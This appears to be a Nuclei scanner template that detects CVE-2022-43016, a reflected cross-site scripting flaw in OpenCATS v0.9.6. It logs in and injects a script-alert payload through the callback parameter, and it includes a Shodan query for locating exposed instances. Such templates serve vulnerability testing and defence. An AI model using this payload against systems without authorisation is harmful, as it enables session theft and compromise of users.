id: CVE-2022-43016

info:
  name: OpenCATS v0.9.6 - Cross Site Scripting
  author: arafatansari
  severity: medium
  description: |
    OpenCATS v0.9.6 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the callback component.
  reference:
    - https://github.com/hansmach1ne/opencats_zero-days/blob/main/XSS_in_callback.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43016
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-43016
    cwe-id: CWE-79
  metadata:
    shodan-query: title:"OpenCATS"
    verified: "true"
  tags: cve,cve2022,xss,opencats,authenticated

requests:
  - raw:
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

      - |
        GET /index.php?m=toolbar&callback=<script>alert(document.domain)</script>&a=authenticate HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'EVAL=<script>alert(document.domain)</script>'
          - 'cats_connected'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200